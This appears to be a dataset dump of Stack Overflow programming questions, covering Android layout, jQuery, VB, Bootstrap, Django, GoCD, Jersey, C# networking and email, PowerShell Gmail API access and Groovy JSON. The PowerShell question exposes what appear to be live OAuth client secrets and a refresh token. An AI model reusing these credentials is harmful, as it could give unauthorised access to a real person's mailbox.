repeat(childCount) {
getChildAt(it).apply {
measure(
MeasureSpec.makeMeasureSpec(max(measuredWidth, minChildWidth), EXACTLY),
UNSPECIFIED
)
}
}
setMeasuredDimension(
makeMeasureSpec(newWidth, EXACTLY), makeMeasureSpec(measuredHeight, EXACTLY))
}
}
</code></pre>
<p>It works fine in LTR: <a href="https://i.stack.imgur.com/VmxJl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VmxJl.png" alt="Left to right screenshot" /></a>
In RTL however the views are off set for some reason and are drawn outside the ViewGroup: <a href="https://i.stack.imgur.com/67vZ6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/67vZ6.png" alt="Right to left screenshot" /></a></p>
<p>Where could this offset coming from? It looks like the children's measure calls are being added to the part, or at least half of it...</p>
| 3 | 1,521 |
Enable all Select Options up to selectedIndex
|
<p>Greeting fellow code-jugglers!</p>
<p>I am dealing with a kinda frustrating problem, which it seems I can't solve to 100% I want it to work.</p>
<p>I've got a select field with various <strong>dynamic options amount</strong> (<em>could be more than one "middle", e. g. "middle 1", "middle 2"</em>) deactivated and fetched and build by php. The user has to input a number to activate and pre-select the specific select option. So far it works to the point, it pre-selects the option based on the user input. But I want it to enable <strong>every</strong> select option <strong>above</strong> the pre-selection.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function() {
// PRE-SELECT TPOS BASED ON TMEMBER
$('#inputX').change(function() {
var member_id = $('#inputX').val();
// FETCHED BY PHP, NO NEED TO OVERRIDE (WORKS)
var event_id = <? echo $event_id; ?>;
var posit_id = <? echo $posit_id; ?>;
// FETCH CURRENT POSITION, MEMBER IS AT
$.ajax({
type: 'POST',
url: 'fetch_pos.php',
data: {
posit_id: posit_id,
event_id: event_id,
member_id: member_id
},
// GET SELECT OPTION WITH POSITION VALUE MEMBER IS AT [E. G. "START"]
success: function(html){
// ENABLE SELECT OPTION
$("#selectX option[value='" + html + "']").attr("disabled", false);
// ADD SELECTED ATTRIBUTE
$("#selectX").val(html).setAttribute("selected", "selected");
// DISABLE EVERY OPTION PAST THE RETURNED VALUE AND
// ENABLE EVERY "PREVIOUS" OPTION
$('select#selectX').val(html).children().attr("disabled", false).filter(':selected').nextAll().prop('disabled', true);
}
});
});
});</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<form>
<input type="text" name="inputX" id="inputX" required="required" />
<select name="selectX" id="selectX" required="required">
<option selected="selected">Awaiting Input</option>
<option disabled="disabled" value="Start">Start</option>
<option disabled="disabled" value="Middle">Middle</option>
<option disabled="disabled" value="Last">Last</option>
</select>
</form></code></pre>
</div>
</div>
</p>
<p><strong>The returned value of AJAX is one of the option values, since my code needs them to be worked with and not integers as 1, 2 or 3(+).</strong></p>
<p><strong>For example:</strong>
I've got the same select field but the member with id number 3 is at position goal. So "<em>goal</em>", "<em>middle</em>", and "<em>start</em>" should be enabled. If member number 3 is at position middle, I want <strong>only</strong> "<em>start</em>" and "<em>middle</em>" to be enabled.</p>
<p>Any help?</p>
<p>Sincerely,
montreal</p>
<p><strong>EDIT</strong></p>
<p>Because of misunderstanding: ignore the AJAX. It just returns the value as position of the member, because the option value is defined as such --> E. G. Member with ID 1 is at position "middle", hence option value="middle" and everything <strong>before</strong> (option value="start") should be enabled.</p>
<p>I just want to enable every option based on the selectIndex from the returned value selected option minus total amount of options.</p>
<p>Example:
3 options
returned value is "middle", hence selectIndex 1
select option with selectIndex 0 and 1 should be enabled</p>
| 3 | 1,514 |
Can't fix Concurrency Violation VB/Access Database
|
<p>Cannot figure out how to resolve this issue. If I add rows to the database and close the form and then open the form an remove rows, I get no issues. The issue only arises when I add rows and remove rows without closing the form. What happens when the form closes that doesn't happen when the form is open?</p>
<p>If a box is checked, it gets added to the database. If a box gets unchecked it gets removed.</p>
<p>Concurrency violation: the DeleteCommand affected 0 of the expected 1 records.</p>
<p>Deleted row information cannot be accessed through the row.</p>
<hr>
<pre><code>Private Sub CreateNewDataRow(intNewTreeView As Integer, intNewUserID As Integer)
Dim tvGeneric As Windows.Forms.TreeView
Dim intTopic As Integer
tvGeneric = GetTreeView(intNewTreeView)
intTopic = intNewTreeView
Try
' Loop through tabs to get checked items
For x As Integer = 0 To tvGeneric.Nodes.Count - 1
If tvGeneric.Nodes(x).Checked = True Then
Dim drNewRow As MasterDBDataSet.DBAssignedRow
drNewRow = MasterDBDataSet.DBAssigned.NewDBAssignedRow
With drNewRow
.AssignedUser = intNewUserID
.AssignedTask = tvGeneric.Nodes(x).Tag
.AssignedTopic = intTopic
.AssignedCompleted = 0
.AssignedWorkCenter = m_intWorkCenter
.MergeID = Merge.RandomNumber()
End With
For Each Task As DataRow In MasterDBDataSet.DBTasks
If Task.Item("TaskTopic") = intTopic Then
If Task.Item("MergeID") = drNewRow.AssignedTask Then
Try
drNewRow.AssignedHours = CInt(Task.Item("TimePerTask"))
Catch ex As Exception
End Try
End If
End If
Next
If CheckExistingAssignments(intNewUserID, drNewRow.AssignedTopic, drNewRow.AssignedTask) Then
MasterDBDataSet.DBAssigned.Rows.Add(drNewRow)
End If
DbAssignedTableAdapter.Update(MasterDBDataSet.DBAssigned)
Else
' If check box unchecked, remove from database
For Each OldAssigned As DataRow In MasterDBDataSet.DBAssigned
If OldAssigned.Item("AssignedTask") = tvGeneric.Nodes(x).Tag And OldAssigned.Item("AssignedUser") = intNewUserID Then
Try
OldAssigned.Delete()
Catch ex As Exception
End Try
Exit For
End If
Next
DbAssignedTableAdapter.Update(MasterDBDataSet.DBAssigned)
End If
Next
DbAssignedTableAdapter.Update(MasterDBDataSet.DBAssigned)
Catch ex As Exception
Logger.WriteLog("ERROR : " & ex.Message)
End Try
End Sub
</code></pre>
| 3 | 1,684 |
How to add a menu button to layout (template) form in Bootstrap
|
<p>I would like to add a <a href="https://i.stack.imgur.com/Isbi1.png" rel="nofollow noreferrer">menu button</a> (3 horizontal lines) to the right of my Layout form , so that it will be not responsive (visible at the normal resolution 100% of my PC browser 1366 x 768 without zoomig or unzooming), but I don't know how with the Bootstrap United theme.</p>
<p>Thank you in advance for your answers.</p>
<p>Here is my HTML page :</p>
<pre><code> <!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>@ViewBag.Title - BEMF Revues</title>
@Styles.Render("~/Content/css")
@Scripts.Render("~/bundles/modernizr")
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
</head>
<body>
<div class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
@Html.ActionLink("BEMF Revues", "Index", "Home", new { area = "" }, new { @class = "navbar-brand" })
</div>
<div id="navbarCollapse" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="dropdown active">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">Revues<span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#">Support de demande</a></li>
<li><a href="#">Support de revue</a></li>
<li><a href="#">Tableau de suivi</a></li>
<li class="divider"></li>
<li><a href="#">Support de contacts</a></li>
<li><a href="#">Ticket OTRS</a></li>
</ul>
</li>
<li>@Html.ActionLink("À propos", "About", "Home")</li>
<li>@Html.ActionLink("Contact", "Contact", "Home")</li>
</ul>
<form class="navbar-form navbar-left">
<div class="input-group">
<input type="text" class="form-control" placeholder="Rechercher">
<div class="input-group-btn">
<button class="btn btn-default" type="submit">
<i class="glyphicon glyphicon-search"></i>
</button>
</div>
</div>
</form>
<ul class="nav navbar-nav navbar-right"><li><a href="#">Messages <span class="badge">0</span></a></li></ul>
<ul class="nav navbar-text navbar-right">Bonjour, @Environment.UserName</ul>
</div>
</div>
</div>
<div class="container body-content">
@RenderBody()
<hr />
<footer>
<p>&copy; @DateTime.Now.Year - BEMF Revues</p>
</footer>
</div>
@Scripts.Render("~/bundles/jquery")
@Scripts.Render("~/bundles/bootstrap")
@RenderSection("scripts", required: false)
</body>
</html>
</code></pre>
| 3 | 2,511 |
why use django haystack slice queryset too slow?
|
<p>I use whoosh as the search backend.</p>
<p>when I get just 3 search result, code:</p>
<blockquote>
<pre><code>#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
sys.path.append('/home/guomeng/projects/tapplex_ringtones')
import os
os.environ['DJANGO_SETTINGS_MODULE'] = "tapplex_ringtones.settings"
from haystack.query import SearchQuerySet
from ringtones.models import Ringtone
import time
query_word = u'sky'
t0 = time.time()
sqs = SearchQuerySet().models(Ringtone).filter(content=query_word)[:3]
t1 = time.time()
print sqs
print t1 - t0
</code></pre>
</blockquote>
<p>the result is:</p>
<pre><code>[<SearchResult: ringtones.ringtone (pk=u'1730')>, <SearchResult: ringtones.ringtone (pk=u'28959')>, <SearchResult: ringtones.ringtone (pk=u'25889')>]
0.422543048859> 0.422543048859
</code></pre>
<p>when I get all search result, code:</p>
<blockquote>
<pre><code>#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
sys.path.append('/home/guomeng/projects/tapplex_ringtones')
import os
os.environ['DJANGO_SETTINGS_MODULE'] = "tapplex_ringtones.settings"
from haystack.query import SearchQuerySet
from ringtones.models import Ringtone
import time
query_word = u'sky'
t0 = time.time()
sqs = SearchQuerySet().models(Ringtone).filter(content=query_word)
t1 = time.time()
print sqs
print t1 - t0
</code></pre>
</blockquote>
<p>the result is:</p>
<pre><code>[<SearchResult: ringtones.ringtone (pk=u'1730')>, <SearchResult: ringtones.ringtone (pk=u'28959')>, <SearchResult: ringtones.ringtone (pk=u'25889')>, <SearchResult: ringtones.ringtone (pk=u'5303')>, <SearchResult: ringtones.ringtone (pk=u'5335')>, <SearchResult: ringtones.ringtone (pk=u'5411')>, <SearchResult: ringtones.ringtone (pk=u'1212')>, <SearchResult: ringtones.ringtone (pk=u'28473')>, <SearchResult: ringtones.ringtone (pk=u'23867')>, <SearchResult: ringtones.ringtone (pk=u'27087')>, <SearchResult: ringtones.ringtone (pk=u'26849')>, <SearchResult: ringtones.ringtone (pk=u'2973')>, <SearchResult: ringtones.ringtone (pk=u'2645')>, <SearchResult: ringtones.ringtone (pk=u'31007')>, <SearchResult: ringtones.ringtone (pk=u'11637')>, <SearchResult: ringtones.ringtone (pk=u'16957')>, <SearchResult: ringtones.ringtone (pk=u'106')>, <SearchResult: ringtones.ringtone (pk=u'2481')>, <SearchResult: ringtones.ringtone (pk=u'15697')>]
0.19460105896
</code></pre>
<p>why I get all the result is fast?</p>
| 3 | 1,050 |
Figuring out the launch problem from the log
|
<p>This is very similar it seems, to
discover-why-godc-wont-start-on-mac but I Can't comment and what I have isn't an answer so
I'm opening a new question. </p>
<p>I have this problem where the Go Agent won't stay running on my Mac. It launches and then quickly exits. The log seems like a java issue but I have Java 8 and then also tried java 11, and neither worked. Here is the output of the log, but I cannot figure out if the version of Java is the issue or if it's something else. </p>
<pre><code>``` Thu Jan 10 14:19:50 EST 2019: Setting working directory: /Users/buildadmin/Library/Application Support/Go Agent
Thu Jan 10 14:19:50 EST 2019: Setting environment variables:
AGENT_STARTUP_ARGS="-Xms128m -Xmx256m"
Thu Jan 10 14:19:50 EST 2019: Final environment variables are:
AGENT_STARTUP_ARGS=-Xms128m -Xmx256m
Apple_PubSub_Socket_Render=/private/tmp/com.apple.launchd.WzPSMYxWM1/Render
HOME=/Users/buildadmin
LOGNAME=buildadmin
OLDPWD=/
PATH=/usr/bin:/bin:/usr/sbin:/sbin
PWD=/Users/buildadmin/Library/Application Support/Go Agent
SHELL=/bin/bash
SHLVL=1
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.42xu8T62mh/Listeners
TMPDIR=/var/folders/_c/qfw_0cs93kq1ylslsh82llnr0000gp/T/
USER=buildadmin
XPC_FLAGS=0x0
XPC_SERVICE_NAME=0
_=/usr/bin/env
__CF_USER_TEXT_ENCODING=0x1F6:0x0:0x0
Thu Jan 10 14:19:50 EST 2019: Running:
Thu Jan 10 14:19:50 EST 2019: /Library/Java/JavaVirtualMachines/jdk-11.0.1.jdk/Contents/Home/bin/java
Thu Jan 10 14:19:50 EST 2019: -cp
Thu Jan 10 14:19:50 EST 2019: /Users/buildadmin/Desktop/Go Agent.app/Contents/Resources/agent-bootstrapper.jar
Thu Jan 10 14:19:50 EST 2019: -Xdock:icon=/Users/buildadmin/Desktop/Go Agent.app/Contents/Resources/go-agent.icns
Thu Jan 10 14:19:50 EST 2019: -Xdock:name=Go Agent
Thu Jan 10 14:19:50 EST 2019: -Dgo.application.name=Go Agent
Thu Jan 10 14:19:50 EST 2019: -Dgo.java.to.use=/Library/Java/JavaVirtualMachines/jdk-11.0.1.jdk/Contents/Home/bin/java
Thu Jan 10 14:19:50 EST 2019: -Dcruise.server.port=8153
Thu Jan 10 14:19:50 EST 2019: -Dcom.apple.mrj.application.apple.menu.about.name=Go Agent
Thu Jan 10 14:19:50 EST 2019: -Dapple.laf.useScreenMenuBar=true
Thu Jan 10 14:19:50 EST 2019: -Done-jar.main.class=com.thoughtworks.go.agent.bootstrapper.osx.AgentMacWindow
Thu Jan 10 14:19:50 EST 2019: -Dcruise.server.host=127.0.0.1
Thu Jan 10 14:19:50 EST 2019: com.simontuffs.onejar.Boot
Thu Jan 10 14:19:50 EST 2019: 127.0.0.1 8153
logFile Environment Variable= null
Logging to go-agent-bootstrapper.log
Exception in thread "main" java.lang.reflect.InvocationTargetException
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:566)
at com.simontuffs.onejar.Boot.run(Boot.java:306)
at com.simontuffs.onejar.Boot.main(Boot.java:159)
Caused by: java.lang.NoSuchMethodError: com.apple.eawt.Application.setEnabledPreferencesMenu(Z)V
at com.thoughtworks.go.agent.bootstrapper.osx.AgentMacWindow.initializeApplicationAdapter(AgentMacWindow.java:76)
at com.thoughtworks.go.agent.bootstrapper.osx.AgentMacWindow.<init>(AgentMacWindow.java:65)
at com.thoughtworks.go.agent.bootstrapper.osx.AgentMacWindow.main(AgentMacWindow.java:47)
... 6 more
</code></pre>
<pre><code>
</code></pre>
| 3 | 1,327 |
Java REST - 404 resource can not be found
|
<p>I am trying to access a resource on my Hello world (for now) application.
However, I get this HTTP status 404 - not found when I deploy it ot Tomcat and hit the URL: localhost:8080/test/rest.
Here are my pom.xml depdendencies:</p>
<pre><code><dependency>
<groupId>org.glassfish.jersey.core</groupId>
<artifactId>jersey-common</artifactId>
<version>2.26-b03</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.core</groupId>
<artifactId>jersey-server</artifactId>
<version>2.26-b03</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>jersey-container-servlet</artifactId>
<version>2.26-b03</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
</code></pre>
<p>And here are my web.xml configurations:</p>
<pre><code><web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>HelloWorld Jersey Service </servlet-name>
<servlet-class>org.glassfish.jersey.servlet.ServletContainer</servlet-class>
<init-param>
<param-name >jersey.config.server.provider.packages</param-name>
<param-value >com.latin.translator.app</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name >HelloWorld Jersey Service </servlet-name >
<url-pattern >/test/*</url-pattern >
</servlet-mapping>
</web-app>
</code></pre>
<p>The java code is:</p>
<pre><code>@Path("/test")
public class Test {
@GET
@Produces(TEXT_PLAIN)
@Path("/rest")
public String test() {
return "Great success";
}
}
</code></pre>
<p>Do you have any ideas what I am doing wrong?</p>
| 3 | 1,139 |
android: dlopen failed to load not 32 bit
|
<p>There's giving me following error in my demo app:</p>
<p>FATAL EXCEPTION: main</p>
<pre><code>Process: com.example.android.pos_api_android_demo, PID: 9359
java.lang.UnsatisfiedLinkError: dlopen failed: "/data/app-lib/com.example.android.pos_api_android_demo-13/libPosAPI.so" not 32-bit: 2
at java.lang.Runtime.loadLibrary(Runtime.java:365)
at java.lang.System.loadLibrary(System.java:526)
at com.vatps.android.PosAPI.<clinit>(PosAPI.java:35)
at com.example.android.pos_api_android_demo.MainActivity$1.onClick(MainActivity.java:23)
at android.view.View.performClick(View.java:4867)
at android.view.View$PerformClick.run(View.java:19722)
at android.os.Handler.handleCallback(Handler.java:733)
at android.os.Handler.dispatchMessage(Handler.java:95)
at android.os.Looper.loop(Looper.java:146)
at android.app.ActivityThread.main(ActivityThread.java:5756)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:515)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1291)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1107)
at dalvik.system.NativeStart.main(Native Method)
</code></pre>
<p><em>Yes , libPosAPI.so file is 64 bit. There are solution like this. [<a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=4186][1]" rel="nofollow noreferrer">https://bugs.chromium.org/p/webrtc/issues/detail?id=4186][1]</a></em></p>
<p>[1]: <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=4186" rel="nofollow noreferrer">https://bugs.chromium.org/p/webrtc/issues/detail?id=4186</a> But this is for linux user. I'm using Windows. and old topic is all about error:32 bit instead 64.</p>
<p>My Gradle:</p>
<pre><code>apply plugin: 'com.android.application'
android {
compileSdkVersion 25
buildToolsVersion "25.0.1"
defaultConfig {
applicationId "com.example.android.pos_api_android_demo"
minSdkVersion 14
targetSdkVersion 25
versionCode 1
versionName "1.0"
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
ndk {
abiFilters "armeabi-v7a", "x86"
}
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
sourceSets.main {
jniLibs.srcDirs = ['libs']
jni.srcDirs = [] //disable automatic ndk-build call with auto-generated Android.mk file }
}
}
dependencies {
compile fileTree(dir: 'libs', include: ['*.jar'])
androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', {
exclude group: 'com.android.support', module: 'support-annotations'
})
compile 'com.android.support:appcompat-v7:25.3.0'
testCompile 'junit:junit:4.12'
}
</code></pre>
| 3 | 2,613 |
Garbage collecting in a ThreadPool?
|
<p>I need to handle http requests and the best way I found was using a ThreadPool. Please dont recommend using a finished library, because when I try to do something similar, there will be the same problem(s)!</p>
<p>When try a DDOS-Tool on my own webserver the cpu usage gets high and the memory increases incredible fast!</p>
<p>When I stop the tool the memory usage still increases (see screenshot)!</p>
<p>I want the program to decrease its memory usage after the DDOS-Tool has been stopped.</p>
<p>But unfortunately it does not!</p>
<p>Here is my code: You can try it. It does not need any libraries!</p>
<pre><code>using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Threading;
namespace Webserver
{
class Program
{
static void Main(string[] args)
{
TcpListener tcpListener = new TcpListener(81);
tcpListener.Start();
while (true)
ThreadPool.QueueUserWorkItem(DoWork, tcpListener.AcceptTcpClient());
}
static void DoWork(object arg)
{
try
{
using (TcpClient tcpClient = (TcpClient)arg)
{
tcpClient.ReceiveTimeout = 500;
tcpClient.SendTimeout = 500;
using (NetworkStream networkStream = tcpClient.GetStream())
{
networkStream.ReadTimeout = 500;
networkStream.WriteTimeout = 500;
List<string> headers = new List<string>();
using (StreamReader streamReader = new StreamReader(networkStream))
using (StreamWriter streamWriter = new StreamWriter(networkStream))
{
while (true)
{
string line = streamReader.ReadLine();
if (line == "") break;
else headers.Add(line);
}
Console.WriteLine(headers[0]);
streamWriter.WriteLine("HTTP/1.0 200 OK");
streamWriter.WriteLine("Server: Webserver");
streamWriter.WriteLine("Content-Type: text/html; charset=UTF-8");
streamWriter.WriteLine("");
streamWriter.WriteLine("Hello World!");
}
}
}
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex.Message);
Console.ResetColor();
}
}
}
}
</code></pre>
<p><img src="https://i.stack.imgur.com/WqaPj.png" alt="Screenshot of Process Hacker's statistcs"></p>
<p>The red lines mark the timestamps when I started and stopped the ddos-Tool. As you can see, the memory still increases after the tool has been stopped.</p>
<p>I want my program to get down back to 17 MB memory usage as it was at the beginning.</p>
| 3 | 1,110 |
How to send static html as an email content in c#?
|
<p>I am sending an static html with some dynamic content to user email id using c# and JQuery.
Below is the JavaScriot file from where I am calling th method SendEmail.</p>
<p>$(".EmailInvoice").click(function () {</p>
<pre><code> $.ajax({
type: 'POST',
url: siteUrl + '/invoiceEmail.asmx/SendEmail',
data: JSON.stringify({ }),
contentType: "application/json; charset=utf-8",
dataType: "json",
async: true,
success: function (data, status) {
},
failure: function (data) {
},
error: function () {
alert("error");
}
});
</code></pre>
<p>Below is the invoiceEmail.asmx file</p>
<pre><code>using System;
using System.Collections.Generic;
using System.Configuration;
using System.IO;
using System.Linq;
using System.Web;
using System.Net.Mail;
using System.Web.Services;
using System.Web.Hosting;
namespace meltwish
{
/// <summary>
/// Summary description for invoiceEmail
/// </summary>
[WebService(Namespace = "http://tempuri.org/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
[System.ComponentModel.ToolboxItem(false)]
// To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
[System.Web.Script.Services.ScriptService]
public class invoiceEmail : System.Web.Services.WebService
{
public static string PopulateBody(string userName, string title, string url, string description)
{
string body = string.Empty;
using (StreamReader reader = new StreamReader(HostingEnvironment.MapPath("~/EmailTemplate.html")))
{
body = reader.ReadToEnd();
}
body = body.Replace("{UserName}", userName);
body = body.Replace("{Title}", title);
body = body.Replace("{Url}", url);
body = body.Replace("{Description}", description);
return body;
}
public static void SendHtmlFormattedEmail(string recepientEmail, string subject, string body)
{
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress(ConfigurationManager.AppSettings["username"]);
mailMessage.Subject = subject;
mailMessage.Body = body;
mailMessage.IsBodyHtml = true;
mailMessage.To.Add(new MailAddress(recepientEmail));
SmtpClient smtp = new SmtpClient();
smtp.Host = ConfigurationManager.AppSettings["Host"];
smtp.EnableSsl = Convert.ToBoolean(ConfigurationManager.AppSettings["EnableSsl"]);
System.Net.NetworkCredential NetworkCred = new System.Net.NetworkCredential();
NetworkCred.UserName = ConfigurationManager.AppSettings["UserName"];
NetworkCred.Password = ConfigurationManager.AppSettings["Password"];
smtp.UseDefaultCredentials = true;
smtp.Credentials = NetworkCred;
smtp.Port = int.Parse(ConfigurationManager.AppSettings["Port"]);
smtp.Send(mailMessage);
}
//object sender, EventArgs e
[WebMethod]
public static string SendEmail()
{
//string body = this.PopulateBody("John",
string body = PopulateBody("John",
"Fetch multiple values as Key Value pair in ASP.Net AJAX AutoCompleteExtender",
"http://www.aspsnippets.com/Articles/Fetch-multiple-values-as-Key-Value-pair-" +
"in-ASP.Net-AJAX-AutoCompleteExtender.aspx",
"Here Mudassar Ahmed Khan has explained how to fetch multiple column values i.e." +
" ID and Text values in the ASP.Net AJAX Control Toolkit AutocompleteExtender"
+ "and also how to fetch the select text and value server side on postback");
SendHtmlFormattedEmail("wajedkh@gmail.com", "New article published!", body);
//this.SendHtmlFormattedEmail("wajedkh@gmail.com", "New article published!", body);
return "sajjad";
}
}
}
</code></pre>
<p>This is the HTMl file that is added to the project. The name is EmailTemplate.html
</p>
<pre><code> <meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js"></script>
<!-- Server CDN Files -- Start -->
<!--<link class="temp" href="http://klcdn.meltwish.com/styles/store/1.0.2/store.css" rel="stylesheet" />-->
<link href="http://localhost:60339/styles/store/1.0.2/store.css" rel="stylesheet" />
</head>
<body>
<img src = "http://www.aspsnippets.com/images/Blue/Logo.png" /><br /><br />
<div style = "border-top:3px solid #22BCE5">&nbsp;</div>
<span style = "font-family:Arial;font-size:10pt">
Hello <b>{UserName}</b>,<br /><br />
A new article has been published on ASPSnippets.<br /><br />
<a style = "color:#22BCE5" href = "{Url}">{Title}</a><br />
{Description}
<br /><br />
Thanks<br />
ASPSnippets
</span>
</body>
</html>
</code></pre>
<p>This i have added in the Web.Config file.</p>
<pre><code><appSettings>
<add key="Host" value="smtp.gmail.com"/>
<add key="EnableSsl" value="true"/>
<add key="UserName" value="hussainsajjad9991@gmail.com"/>
<add key="Password" value="xxxxx"/>
<add key="Port" value="587"/>
</appSettings>
</code></pre>
<p>Actually whenever I have trying to call the javascript ajax method it is going to the error content. </p>
<p>Help me....</p>
| 3 | 2,420 |
can I read Gmail messages while running the PowerShell
|
<p>I am doing the PowerShell script in that when I am running the PowerShell script I can read the message in the PowerShell I can't get a clear idea from that please help anyone see this one. I have successfully managed to connect to GMAIL API using Powershell. However, I'm having difficulties finding where to get the message body. According to GMAIL's Documentation: <a href="https://developers.google.com/gmail/api/v1/reference/users/messages/get" rel="nofollow noreferrer">https://developers.google.com/gmail/api/v1/reference/users/messages/get</a> It should be right here</p>
<pre><code>$clientId = "1062910180948-ojlurj5s0uf9p5cemr6qi5tbdktsosek.apps.googleusercontent.com"
$clientSecret = "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"
$refreshToken = '1//04SJSOVmkkaHYCgYIARAAGAQSNwF-L9IrbKgYGxUahD5jIAknai5oSSbqES_HOBxgvi7_qknj4B8rse9GduvUbETfIh266co8YIk'
$headers = @{
"Content-Type" = "application/json"
}
$body = @{
client_id = $clientId
client_secret = $clientSecret
refresh_token = $refreshToken
grant_type = 'refresh_token'
}
$params = @{
'Uri' = 'https://accounts.google.com/o/oauth2/token'
'ContentType' = 'application/x-www-form-urlencoded'
'Method' = 'POST'
'Headers' = $headers
'Body' = $body
}
$accessTokenResponse = Invoke-RestMethod @params
$accesstoken = $($accessTokenResponse.access_token)
write-host $accesstoken
$headers = @{
"Content-Type" = "application/json"
}
$params = @{
'Uri' = "https://www.googleapis.com/gmail/v1/users/me/messages?access_token=$accesstoken"
'ContentType' = 'application/json'
'Method' = 'GET'
'Headers' = $headers
'Body' = $body
}
$getMessagesResponse = Invoke-RestMethod @params
$messages = $($getMessagesResponse.messages)
#write-host $messages
$messageID = ($messages| Out-String);
write-host $messageID
#Seperates string on first message ID, places messageID into $result.
$result = $messageID.id[0];
write-host $result
#Acquires most recent message, using ID stored in result and access token.
$messages1 = Invoke-WebRequest -Uri ("https://gmail.googleapis.com/gmail/v1/users/bvignesh@dartinnovations.com/messages/180dfdde1eaca598?access_token=$accesstoken") -Method Get | ConvertFrom-Json;
Invoke-WebRequest -Uri "https://www.googleapis.com/gmail/v1/users/me/messages?access_token=$accesstoken" -Method Get
Invoke-WebRequest -Uri ("https://www.googleapis.com/gmail/v1/users/me/messages/$a" + "?access_token=$accesstoken") -Method Get
write-host $messages1.snippet;
cmd /c pause
</code></pre>
| 3 | 1,081 |
JsonSluper and JsonOutput convert some symbols in string to strange characters
|
<p>I am using a groovy script to convert some of the values in the body to their primitive datatype. To achieve this I am using JsonSluper and JsonOutput.
JsonSluper and JsonOutput are converting some symbols in string from my json body to strange characters. Any suggestions how this can be fixed ?</p>
<blockquote>
<p>Example: "UnitPrice": "99¢ per lb." is converted to "UnitPrice":
"99\u00a2 per lb."</p>
<p>¢ is converted to \u00a2</p>
</blockquote>
<p>My script:</p>
<pre><code>def body = message.getBody(java.lang.String);
def JSONInput = new JsonSlurper().parseText(body);
JSONInput.data.ProductStorePrices.each{
if(it.Price != null){
it.Price = it.Price.toDouble();
}
if(it.Active != null){
it.Active = it.Active.toBoolean();
}
}
message.setBody(JsonOutput.toJson(JSONInput))
</code></pre>
<p>Below is my JSONBody before conversion:</p>
<pre><code>{
"data": {
"ProductStorePrices": [
{
"Product_LegacyID": "1005",
"Store_LegacyStoreID": "2",
"DistributionCenter_LegacyRegionID": "916",
"PriceType_Code": "unadjustedRetail",
"ValidFrom": "2000-01-01T00:00:00Z",
"Price": "9.99",
"ValidTo": "2022-05-04T23:59:59Z",
"Currency": "USD",
"Active": "false",
"UnitPrice": "99¢ per lb.",
"LastChangedAt": "2022-05-04T23:59:59Z"
}
]
}
}
</code></pre>
<p>My output JSONBody after conversion using groovy script above</p>
<pre><code>{
"data": {
"ProductStorePrices": [
{
"Product_LegacyID": "1005",
"Store_LegacyStoreID": "2",
"DistributionCenter_LegacyRegionID": "916",
"PriceType_Code": "unadjustedRetail",
"ValidFrom": "2000-01-01T00:00:00Z",
"Price": 9.99,
"ValidTo": "2022-05-04T23:59:59Z",
"Currency": "USD",
"Active": false,
"UnitPrice": "99\u00a2 per lb.",
"LastChangedAt": "2022-05-04T23:59:59Z"
}
]
}
}
</code></pre>
| 3 | 1,517 |
ValueError: Supported target types are: ('binary', 'multiclass'). Got 'continuous-multioutput' instead
|
